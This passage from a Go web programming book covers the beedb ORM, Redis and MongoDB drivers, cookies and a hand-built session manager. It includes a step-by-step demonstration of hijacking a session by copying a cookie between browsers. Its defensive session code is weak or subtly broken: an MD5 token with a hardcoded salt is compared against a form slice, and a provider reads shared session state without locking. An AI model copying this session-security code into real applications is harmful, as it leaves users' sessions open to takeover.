Otherwise, this argument must be supplied. For instance, in the case of SQLServer:

orm = beedb.New(db, "mssql")

PostgreSQL:

orm = beedb.New(db, "pg")

beedb supports debugging. Use the following code to enable it:

beedb.OnDebug=true

Next, we have a struct for the Userinfo database table that we used in previous sections.

type Userinfo struct {
    Uid     int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key.
    Username    string
    Departname  string
    Created     time.Time
}

Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have UserInfo as the struct name, beedb will convert it to user_info in the database. The same rule applies to struct field names.

Camel





34.3 Insert data

The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change.

var saveone Userinfo
saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)

You can check saveone.Uid after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you.

beedb provides another way of inserting data; this is via Go’s map type.

add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)

Insert multiple data:

addslice := make([]map[string]interface{}, 10)
add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice = append(addslice, add, add2)
orm.SetTable("userinfo").InsertBatch(addslice)

The method shown above is similar to a chained query, which you should be familiar with if you’ve ever used jquery. It returns the original ORM object after calls, then continues doing other jobs.

The method SetTable tells the ORM we want to insert our data into the userinfo table.





34.4 Update data

Let’s continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record.

saveone.Username = "Update Username"
saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone)  // update

Like before, you can use map for updating data also:

t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)

Let me explain some of the methods used above:


	.SetPK() tells the ORM that uid is the primary key records in the userinfo table.

	.Where() sets conditions and supports multiple arguments. If the first argument is an integer, it’s a short form for Where("<primary key>=?", <value>).

	.Update() method accepts a map and updates the database.







34.5 Query data

The beedb query interface is very flexible. Let’s see some examples:

Example 1, query by primary key:

var user Userinfo
// Where accepts two arguments, supports integers
orm.Where("uid=?", 27).Find(&user)

Example 2:

var user2 Userinfo
orm.Where(3).Find(&user2) // short form that omits primary key

Example 3, other query conditions:

var user3 Userinfo
// Where accepts two arguments, supports char type.
orm.Where("name = ?", "john").Find(&user3)

Example 4, more complex conditions:

var user4 Userinfo
// Where accepts three arguments
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)

Examples to get multiple records:

Example 1, gets 10 records with id>3 that starts with position 20:

var allusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)

Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records:

var tenusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)

Example 3, gets all records:

var everyone []Userinfo
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)

As you can see, the Limit method is for limiting the number of results.


	.Limit() supports two arguments: the number of results and the starting position. 0 is the default value of the starting position.

	.OrderBy() is for ordering results. The argument is the order condition.



All the examples here are simply mapping records to structs. You can also just put the data into a map as follows:

a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()


	.Select() tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default.

	.FindMap() returns the []map[string][]byte type, so you need to convert to other types yourself.







34.6 Delete data

beedb provides rich methods to delete data.

Example 1, delete a single record:

// saveone is the one in above example.
orm.Delete(&saveone)

Example 2, delete multiple records:

// alluser is the slice which gets multiple records.
orm.DeleteAll(&alluser)

Example 3, delete records by SQL:

orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()





34.7 Association queries

beedb doesn’t support joining between structs.

However, since some applications need this feature, here is an implementation:

a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid")
    .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()

We see a new method called .Join() that has three arguments:


	The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc.

	The second argument: the table you want to join with.

	The third argument: join condition.







34.8 Group By and Having

beedb also has an implementation of group by and having.

a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()


	.GroupBy() indicates the field that is for group by.

	.Having() indicates conditions of having.







34.9 Future

I have received a lot of feedback on beedb from many people all around world, and I’m thinking about reconfiguring the following aspects:


	Implement an interface design similar to database/sql/driver in order to facilitate CRUD operations.

	Implement relational database associations like one to one, one to many and many to many. Here’s a sample:

        type Profile struct {
            Nickname string
            Mobile   string
        }
        type Userinfo struct {
            Uid         int
            PK_Username string
            Departname  string
            Created     time.Time
            Profile     HasOne
        }


	Auto-create tables and indexes.

	Implement a connection pool using goroutines.








34.10 Links


	Directory

	Previous section: PostgreSQL

	Next section: NoSQL database







35 5.6 NoSQL database

A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as “Not only SQL” to emphasize that some NoSQL systems do allow SQL-like query languages to be used.

As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases.





35.1 redis

redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types.

There are some Go database drivers for redis:


	https://github.com/garyburd/redigo

	https://github.com/go-redis/redis

	https://github.com/hoisie/redis

	https://github.com/alphazero/Go-Redis

	https://github.com/simonz05/godis



Let’s see how to use the driver that redigo to operate on a database:


    package main

    import (
        "fmt"
        "github.com/garyburd/redigo/redis"
        "os"
        "os/signal"
        "syscall"
        "time"
    )

    var (
        Pool *redis.Pool
    )

    func init() {
        redisHost := ":6379"
        Pool = newPool(redisHost)
        close()
    }

    func newPool(server string) *redis.Pool {

        return &redis.Pool{

            MaxIdle:     3,
            IdleTimeout: 240 * time.Second,

            Dial: func() (redis.Conn, error) {
                c, err := redis.Dial("tcp", server)
                if err != nil {
                    return nil, err
                }
                return c, err
            },

            TestOnBorrow: func(c redis.Conn, t time.Time) error {
                _, err := c.Do("PING")
                return err
            },
        }
    }

    func close() {
        c := make(chan os.Signal, 1)
        signal.Notify(c, os.Interrupt)
        signal.Notify(c, syscall.SIGTERM)
        signal.Notify(c, syscall.SIGKILL)
        go func() {
            <-c
            Pool.Close()
            os.Exit(0)
        }()
    }

    func Get(key string) ([]byte, error) {

        conn := Pool.Get()
        defer conn.Close()

        var data []byte
        data, err := redis.Bytes(conn.Do("GET", key))
        if err != nil {
            return data, fmt.Errorf("error get key %s: %v", key, err)
        }
        return data, err
    }

    func main() {
        test, err := Get("test")
        fmt.Println(test, err)
    }


I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day).


	https://github.com/astaxie/goredis



Let’s see how to use the driver that I forked to operate on a database:

package main

import (
    "github.com/astaxie/goredis"
    "fmt"
)

func main() {
    var client goredis.Client
    
    // Set the default port in Redis
    client.Addr = "127.0.0.1:6379"
    
    // string manipulation
    client.Set("a", []byte("hello"))
    val, _ := client.Get("a")
    fmt.Println(string(val))
    client.Del("a")

    // list operation
    vals := []string{"a", "b", "c", "d", "e"}
    for _, v := range vals {
        client.Rpush("l", []byte(v))
    }
    dbvals,_ := client.Lrange("l", 0, 4)
    for i, v := range dbvals {
        println(i,":",string(v))
    }
    client.Del("l")
}

We can see that it’s quite easy to operate redis in Go, and it has high performance. Its client commands are almost the same as redis’ built-in commands.





35.2 mongoDB

mongoDB (from “humongous”) is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a “classical” relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster.

[image: ]

Figure 5.1 MongoDB compared to Mysql

The best driver for mongoDB is called mgo, and it is possible that it will be included in the standard library in the future.

Here is the example:


    package main

    import (
        "fmt"
        "gopkg.in/mgo.v2"
        "gopkg.in/mgo.v2/bson"
        "log"
    )

    type Person struct {
        Name  string
        Phone string
    }

    func main() {
        session, err := mgo.Dial("server1.example.com,server2.example.com")
        if err != nil {
            panic(err)
        }
        defer session.Close()

        // Optional. Switch the session to a monotonic behavior.
        session.SetMode(mgo.Monotonic, true)

        c := session.DB("test").C("people")
        err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
            &Person{"Cla", "+55 53 8402 8510"})
        if err != nil {
            log.Fatal(err)
        }

        result := Person{}
        err = c.Find(bson.M{"name": "Ale"}).One(&result)
        if err != nil {
            log.Fatal(err)
        }

        fmt.Println("Phone:", result.Phone)
    }


We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things.





35.3 Links


	Directory

	Previous section: Develop ORM based on beedb

	Next section: Summary







36 5.7 Summary

In this chapter, you first learned about the design of the database/sql interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases.

After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the database/sql interface.





36.1 Links


	Directory

	Previous section: NoSQL database

	Next section: Data storage and session







37 6 Data storage and sessions

An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance).

In section 6.1, we are going to talk about differences between cookies and sessions. In section 6.2, you’ll learn how to use sessions in Go with an implementation of a session manager. In section 6.3, we will talk about session hijacking and how to prevent it when you know that sessions can be saved anywhere. The session manager we will implement in section 6.3 will save sessions in memory, but if we need to expand our application to allow for session sharing, it’s always better to save these sessions directly into our database. We’ll talk more about this in section 6.4.





37.1 Links


	Directory

	Previous Chapter: Chapter 5 Summary

	Next section: Session and cookies







37.2 6.1 Session and cookies

Sessions and cookies are two very common web concepts, and are also very easy to misunderstand. However, they are extremely important for the authorization of pages, as well as for gathering page statistics. Let’s take a look at these two use cases.

Suppose you want to crawl a page that restricts public access, like a twitter user’s homepage for instance. Of course you can open your browser and type in your username and password to login and access that information, but so-called “web crawling” means that we use a program to automate this process without any human intervention. Therefore, we have to find out what is really going on behind the scenes when we use a browser to login.

When we first receive a login page and type in a username and password, after we press the “login” button, the browser sends a POST request to the remote server. The Browser redirects to the user homepage after the server verifies the login information and returns an HTTP response. The question here is, how does the server know that we have access priviledges for the desired webpage? Because HTTP is stateless, the server has no way of knowing whether or not we passed the verification in last step. The easiest and perhaps the most naive solution is to append the username and password to the URL. This works, but puts too much pressure on the server (the server must validate every request against the database), and can be detrimental to the user experience. An alternative way of achieving this goal is to save the user’s identity either on the server side or client side using cookies and sessions.

Cookies, in short, store historical information (including user login information) on the client’s computer. The client’s browser sends these cookies everytime the user visits the same website, automatically completing the login step for the user.

[image: ]

Figure 6.1 cookie principle.

Sessions, on the other hand, store historical information on the server side. The server uses a session id to identify different sessions, and the session id that is generated by the server should always be random and unique. You can use cookies or URL arguments to get the client’s identity.

[image: ]

Figure 6.2 session principle.





37.3 Cookies

Cookies are maintained by browsers. They can be modified during communication between webservers and browsers. Web applications can access cookie information when users visit the corresponding websites. Within most browser settings, there is one setting pertaining to cookie privacy. You should be able to see something similar to the following when you open it.

[image: ]

Figure 6.3 cookie in browsers.

Cookies have an expiry time, and there are two types of cookies distinguished by their life cyles: session cookies and persistent cookies.

If your application doesn’t set a cookie expiry time, the browser will not save it into the local file system after the browser is closed. These cookies are called session cookies, and this type of cookie is usually saved in memory instead of to the local file system.

If your application does set an expiry time (for example, setMaxAge(606024)), the browser will save this cookie to the local file system, and it will not be deleted until reaching the allotted expiry time. Cookies that are saved to the local file system can be shared by different browser processes -for example, by two IE windows; different browsers use different processes for dealing with cookies that are saved in memory. 　　





37.4 Set cookies in Go

Go uses the SetCookie function in the net/http package to set cookies:

http.SetCookie(w ResponseWriter, cookie *Cookie)

w is the response of the request and cookie is a struct. Let’s see what it looks like:

type Cookie struct {
    Name       string
    Value      string
    Path       string
    Domain     string
    Expires    time.Time
    RawExpires string

// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
    MaxAge   int
    Secure   bool
    HttpOnly bool
    Raw      string
    Unparsed []string // Raw text of unparsed attribute-value pairs
}

Here is an example of setting a cookie:

expiration := time.Now().Add(365 * 24 * time.Hour)
cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration}
http.SetCookie(w, &cookie)

　　





37.5 Fetch cookies in Go

The above example shows how to set a cookie. Now let’s see how to get a cookie that has been set:

cookie, _ := r.Cookie("username")
fmt.Fprint(w, cookie)

Here is another way to get a cookie:

for _, cookie := range r.Cookies() {
    fmt.Fprint(w, cookie.Name)
}

As you can see, it’s very convenient to get cookies from requests.





37.6 Sessions

A session is a series of actions or messages. For example, you can think of the actions you between picking up your telephone to hanging up to be a type of session. When it comes to network protocols, sessions have more to do with connections between browsers and servers.

Sessions help to store the connection status between server and client, and this can sometimes be in the form of a data storage struct.

Sessions are a server side mechanism, and usually employ hash tables (or something similar) to save incoming information.

When an application needs to assign a new session to a client, the server should check if there are any existing sessions for same client with a unique session id. If the session id already exists, the server will just return the same session to the client. On the other hand, if a session id doesn’t exist for the client, the server creates a brand new session (this usually happens when the server has deleted the corresponding session id, but the user has appended the old session manually).

The session itself is not complex but its implementation and deployment are, so you cannot use “one way to rule them all”.





37.7 Summary

In conclusion, the purpose of sessions and cookies are the same. They are both for overcoming the statelessness of HTTP, but they use different ways. Sessions use cookies to save session ids on the client side, and save all other information on the server side. Cookies save all client information on the client side. You may have noticed that cookies have some security problems. For example, usernames and passwords can potentially be cracked and collected by malicious third party websites.

Here are two common exploits:


	appA setting an unexpected cookie for appB.

	XSS attack: appA uses the JavaScript document.cookie to access the cookies of appB.



After finishing this section, you should know some of the basic concepts of cookies and sessions. You should be able to understand the differences between them so that you won’t kill yourself when bugs inevitably emerge. We’ll discuss sessions in more detail in the following sections.





37.8 Links


	Directory

	Previous section: Data storage and session

	Next section: How to use session in Go







38 6.2 How to use sessions in Go

In section 6.1, we learned that sessions are one solution for verifying users, and that for now, the Go standard library does not have baked-in support for sessions or session handling. So, we’re going to implement our own version of a session manager in Go.





38.1 Creating sessions

The basic principle behind sessions is that a server maintains information for every single client, and clients rely on unique session ids to access this information. When users visit the web application, the server will create a new session with the following three steps, as needed:


	Create a unique session id

	Open up a data storage space: normally we save sessions in memory, but you will lose all session data if the system is accidentally interrupted. This can be a very serious issue if web application deals with sensitive data, like in electronic commerce for instance. In order to solve this problem, you can instead save your session data in a database or file system. This makes data persistence more reliable and easy to share with other applications, although the tradeoff is that more server-side IO is needed to read and write these sessions.

	Send the unique session id to the client.



The key step here is to send the unique session id to the client. In the context of a standard HTTP response, you can either use the response line, header or body to accomplish this; therefore, we have two ways to send session ids to clients: by cookies or URL rewrites.


	Cookies: the server can easily use Set-cookie inside of a response header to save a session id to a client, and a client can then this cookie for future requests; we often set the expiry time for cookies containing session information to 0, which means the cookie will be saved in memory and only deleted after users have close their browsers.

	URL rewrite: append the session id as arguments in the URL for all pages. This way seems messy, but it’s the best choice if clients have disabled cookies in their browsers.







38.2 Use Go to manage sessions

We’ve talked about constructing sessions, and you should now have a general overview of it, but how can we use sessions on dynamic pages? Let’s take a closer look at the life cycle of a session so we can continue implementing our Go session manager.





38.2.1 Session management design

Here is a list of some of the key considerations in session management design.


	Global session manager.

	Keep session id unique.

	Have one session for every user.

	Session storage in memory, file or database.

	Deal with expired sessions.



Next, we’ll examine a complete example of a Go session manager and the rationale behind some of its design decisions.





38.2.2 Session manager

Define a global session manager:

type Manager struct {
    cookieName  string     //private cookiename
    lock        sync.Mutex // protects session
    provider    Provider
    maxlifetime int64
}

func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) {
    provider, ok := provides[provideName]
    if !ok {
        return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName)
    }
    return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil
}

Create a global session manager in the main() function:

var globalSessions *session.Manager
// Then, initialize the session manager
func init() {
    globalSessions = NewManager("memory","gosessionid",3600)
}

We know that we can save sessions in many ways including in memory, the file system or directly into the database. We need to define a Provider interface in order to represent the underlying structure of our session manager:

type Provider interface {
    SessionInit(sid string) (Session, error)
    SessionRead(sid string) (Session, error)
    SessionDestroy(sid string) error
    SessionGC(maxLifeTime int64)
}


	SessionInit implements the initialization of a session, and returns new a session if it succeeds.

	SessionRead returns a session represented by the corresponding sid. Creates a new session and returns it if it does not already exist.

	SessionDestroy given an sid, deletes the corresponding session.

	SessionGC deletes expired session variables according to maxLifeTime.



So what methods should our session interface have? If you have any experience in web development, you should know that there are only four operations for sessions: set value, get value, delete value and get current session id. So, our session interface should have four methods to perform these operations.

type Session interface {
    Set(key, value interface{}) error //set session value
    Get(key interface{}) interface{}  //get session value
    Delete(key interface{}) error     //delete session value
    SessionID() string                //back current sessionID
}

This design takes its roots from the database/sql/driver, which defines the interface first, then registers specific structures when we want to use it. The following code is the internal implementation of a session register function.

var provides = make(map[string]Provider)

// Register makes a session provider available by the provided name.
// If a Register is called twice with the same name or if the driver is nil,
// it panics.
func Register(name string, provider Provider) {
    if provider == nil {
        panic("session: Register provide is nil")
    }
    if _, dup := provides[name]; dup {
        panic("session: Register called twice for provide " + name)
    }
    provides[name] = provider
}





38.2.3 Unique session ids

Session ids are for identifying users of web applications, so they must be unique. The following code shows how to achieve this goal:

func (manager *Manager) sessionId() string {
    b := make([]byte, 32)
    if _, err := io.ReadFull(rand.Reader, b); err != nil {
        return ""
    }
    return base64.URLEncoding.EncodeToString(b)
}





38.2.4 Creating a session

We need to allocate or get an existing session in order to validate user operations. The SessionStart function is for checking if any there are any sessions related to the current user, creating a new session non are found.

func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        sid := manager.sessionId()
        session, _ = manager.provider.SessionInit(sid)
        cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)}
        http.SetCookie(w, &cookie)
    } else {
        sid, _ := url.QueryUnescape(cookie.Value)
        session, _ = manager.provider.SessionRead(sid)
    }
    return
}

Here is an example that uses sessions for a login operation.

func login(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    r.ParseForm()
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        w.Header().Set("Content-Type", "text/html")
        t.Execute(w, sess.Get("username"))
    } else {
        sess.Set("username", r.Form["username"])
        http.Redirect(w, r, "/", 302)
    }
}





38.2.5 Operation value: set, get and delete

The SessionStart function returns a variable that implements a session interface. How do we use it?

You saw session.Get("uid") in the above example for a basic operation. Now let’s examine a more detailed example.

func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    createtime := sess.Get("createtime")
    if createtime == nil {
        sess.Set("createtime", time.Now().Unix())
    } else if (createtime.(int64) + 360) < (time.Now().Unix()) {
        globalSessions.SessionDestroy(w, r)
        sess = globalSessions.SessionStart(w, r)
    }
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}

As you can see, operating on sessions simply involves using the key/value pattern in the Set, Get and Delete operations.

Because sessions have the concept of an expiry time, we define the GC to update the session’s latest modify time. This way, the GC will not delete sessions that have expired but are still being used.





38.2.6 Reset sessions

We know that web application have a logout operation. When users logout, we need to delete the corresponding session. We’ve already used the reset operation in above example -now let’s take a look at the function body.

//Destroy sessionid
func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){
    cookie, err := r.Cookie(manager.cookieName)
    if err != nil || cookie.Value == "" {
        return
    } else {
        manager.lock.Lock()
        defer manager.lock.Unlock()
        manager.provider.SessionDestroy(cookie.Value)
        expiration := time.Now()
        cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1}
        http.SetCookie(w, &cookie)
    }
}





38.2.7 Delete sessions

Let’s see how to let the session manager delete a session. We need to start the GC in the main() function:

func init() {
    go globalSessions.GC()
}

func (manager *Manager) GC() {
    manager.lock.Lock()
    defer manager.lock.Unlock()
    manager.provider.SessionGC(manager.maxlifetime)
    time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() })
}

We see that the GC makes full use of the timer function in the time package. It automatically calls GC when the session times out, ensuring that all sessions are usable during maxLifeTime. A similar solution can be used to count online users.





38.3 Summary

So far, we implemented a session manager to manage global sessions in the web application and defined the Provider interface as the storage implementation of Session. In the next section, we are going to talk about how to implement Provider for additional session storage structures, which you will be able to reference in the future.





38.4 Links


	Directory

	Previous section: Session and cookies

	Next section: Session storage







39 6.3 Session storage

We introduced a simple session manager’s working principles in the previous section, and among other things, we defined a session storage interface. In this section, I’m going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well.

package memory

import (
    "container/list"
    "github.com/astaxie/session"
    "sync"
    "time"
)

var pder = &Provider{list: list.New()}

type SessionStore struct {
    sid          string                      // unique session id
    timeAccessed time.Time                   // last access time
    value        map[interface{}]interface{} // session value stored inside
}

func (st *SessionStore) Set(key, value interface{}) error {
    st.value[key] = value
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) Get(key interface{}) interface{} {
    pder.SessionUpdate(st.sid)
    if v, ok := st.value[key]; ok {
        return v
    } else {
        return nil
    }
    return nil
}

func (st *SessionStore) Delete(key interface{}) error {
    delete(st.value, key)
    pder.SessionUpdate(st.sid)
    return nil
}

func (st *SessionStore) SessionID() string {
    return st.sid
}

type Provider struct {
    lock     sync.Mutex               // lock
    sessions map[string]*list.Element // save in memory
    list     *list.List               // gc
}

func (pder *Provider) SessionInit(sid string) (session.Session, error) {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    v := make(map[interface{}]interface{}, 0)
    newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v}
    element := pder.list.PushBack(newsess)
    pder.sessions[sid] = element
    return newsess, nil
}

func (pder *Provider) SessionRead(sid string) (session.Session, error) {
    if element, ok := pder.sessions[sid]; ok {
        return element.Value.(*SessionStore), nil
    } else {
        sess, err := pder.SessionInit(sid)
        return sess, err
    }
    return nil, nil
}

func (pder *Provider) SessionDestroy(sid string) error {
    if element, ok := pder.sessions[sid]; ok {
        delete(pder.sessions, sid)
        pder.list.Remove(element)
        return nil
    }
    return nil
}

func (pder *Provider) SessionGC(maxlifetime int64) {
    pder.lock.Lock()
    defer pder.lock.Unlock()

    for {
        element := pder.list.Back()
        if element == nil {
            break
        }
        if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() {
            pder.list.Remove(element)
            delete(pder.sessions, element.Value.(*SessionStore).sid)
        } else {
            break
        }
    }
}

func (pder *Provider) SessionUpdate(sid string) error {
    pder.lock.Lock()
    defer pder.lock.Unlock()
    if element, ok := pder.sessions[sid]; ok {
        element.Value.(*SessionStore).timeAccessed = time.Now()
        pder.list.MoveToFront(element)
        return nil
    }
    return nil
}

func init() {
    pder.sessions = make(map[string]*list.Element, 0)
    session.Register("memory", pder)
}

The above example implements a memory based session storage mechanism. It uses its init() function to register this storage engine to the session manager. So how do we register this engine from our main program?

import (
    "github.com/astaxie/session"
    _ "github.com/astaxie/session/providers/memory"
)

We use the blank import mechanism (which will invoke the package’s init() function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager:

var globalSessions *session.Manager

// initialize in init() function
func init() {
    globalSessions, _ = session.NewManager("memory", "gosessionid", 3600)
    go globalSessions.GC()
}





39.1 Links


	Directory

	Previous section: How to use sessions in Go

	Next section: Prevent session hijacking







40 6.4 Preventing session hijacking

Session hijacking is a common yet serious security threat. Clients use session ids for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id.

In this section, we are going to show you how to hijack a session for educational purposes.





40.1 The session hijacking process

The following code is a counter for the count variable:

func count(w http.ResponseWriter, r *http.Request) {
    sess := globalSessions.SessionStart(w, r)
    ct := sess.Get("countnum")
    if ct == nil {
        sess.Set("countnum", 1)
    } else {
        sess.Set("countnum", (ct.(int) + 1))
    }
    t, _ := template.ParseFiles("count.gtpl")
    w.Header().Set("Content-Type", "text/html")
    t.Execute(w, sess.Get("countnum"))
}

The content of count.gtpl is as follows:

Hi. Now count:{{.}}

We can see the following content in the browser:

[image: ]

Figure 6.4 count in browser.

Keep refreshing until the number becomes 6, then open the browser’s cookie manager (I use chrome here). You should be able to see the following information:

[image: ]

Figure 6.5 cookies saved in a browser.

This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser.

[image: ]

Figure 6.6 Simulate a cookie.

Refresh the page and you’ll see the following:

[image: ]

Figure 6.7 hijacking the session has succeeded.

Here we see that we can hijack sessions between different browsers, and actions performed in one one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that its session id has been hijacked.





40.2 prevent session hijacking





40.2.1 cookie only and token

Through this simple example of hijacking a session, you can see that it’s very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking?

The first step is to only set session ids in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client side scripts that want access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won’t be as easy as we showed to get a session id from a cookie manager.

The second step is to add a token to every request. Similar to the way we dealt with repeat forms in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique.

h := md5.New()
salt:="astaxie%^7&8888"
io.WriteString(h,salt+time.Now().String())
token:=fmt.Sprintf("%x",h.Sum(nil))
if r.Form["token"]!=token{
    // ask to log in
}
sess.Set("token",token)





40.2.2 Session id timeout

Another solution is to add a create time for every session, and to replace expired session ids with new ones. This can prevent session hijacking under certain circumstances.

createtime := sess.Get("createtime")
if createtime == nil {
    sess.Set("createtime", time.Now().Unix())
} else if (createtime.(int64) + 60) < (time.Now().Unix()) {
    globalSessions.SessionDestroy(w, r)
    sess = globalSessions.SessionStart(w, r)
}

We set a value to save the create time and check if it’s expired (I set 60 seconds here). This step can often thwart session hijacking attempts.

Combine the two solutions above and you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session ids that are frequently reset will result in an attacker always getting expired and useless session ids; on the other hand, by setting the httponly property on cookies and ensuring that session ids can only be passed via cookies, all URL based attacks are mitigated. Finally, we set MaxAge=0 on our cookies, which means that the session ids will not be saved in the browser history.





40.3 Links


	Directory

	Previous section: Session storage

	Next section: Summary







41 6.5 Summary

In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn’t support sessions in its standard library, we also designed our own session manager. We went through the everything from creating client sessions to deleting them. We then defined an interface called Provider which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I show you one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you’re able to safely use them in your applications.
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42 7 Text files

Handling text files is a big part of web development. We often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support for this in its standard library. You’ll find that these supporting libraries are just awesome, and will allow you to easily deal with any text content you may encounter. This chapter contains 4 sections, and will give you a full introduction to text processing in Go.

XML is an interactive language that is commonly used in many APIs, many web servers written in Java use XML as their standard interaction language. We’ll more talk about XML in section 7.1. In section 7.2, we’ll take a look at JSON which has been very popular in recent years and is much more convenient than XML. In section 7.3, we are going to talk about regular expressions which (for the majority of people) looks like a language used by aliens. In section 7.4, you will see how the MVC pattern is used to develop applications in Go, and also how to use Go’s template package for templating your views. In section 7.5, we’ll introduce you to file and folder operations. Finally, we will explain some Go string operations in section 7.6.
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43 7.1 XML

XML is a commonly used data communication format in web services. Today, it’s assuming a more and more important role in web development. In this section, we’re going to introduce how to work with XML through Go’s standard library.

I will not make any attempts to teach XML’s syntax or conventions. For that, please read more documentation about XML itself. We will only focus on how to encode and decode XML files in Go.

Suppose you work in IT, and you have to deal with the following XML configuration file:

<?xml version="1.0" encoding="utf-8"?>
<servers version="1">
    <server>
        <serverName>Shanghai_VPN</serverName>
        <serverIP>127.0.0.1</serverIP>
    </server>
    <server>
        <serverName>Beijing_VPN</serverName>
        <serverIP>127.0.0.2</serverIP>
    </server>
</servers>

The above XML document contains two kinds of information about your server: the server name and IP. We will use this document in our following examples.





43.1 Parse XML

How do we parse this XML document? We can use the Unmarshal function in Go’s xml package to do this.

func Unmarshal(data []byte, v interface{}) error

the data parameter receives a data stream from an XML source, and v is the structure you want to output the parsed XML to. It is an interface, which means you can convert XML to any structure you desire. Here, we’ll only talk about how to convert from XML to the struct type since they share similar tree structures.

Sample code:

package main

import (
    "encoding/xml"
    "fmt"
    "io/ioutil"
    "os"
)

type Recurlyservers struct {
    XMLName     xml.Name `xml:"servers"`
    Version     string   `xml:"version,attr"`
    Svs         []server `xml:"server"`
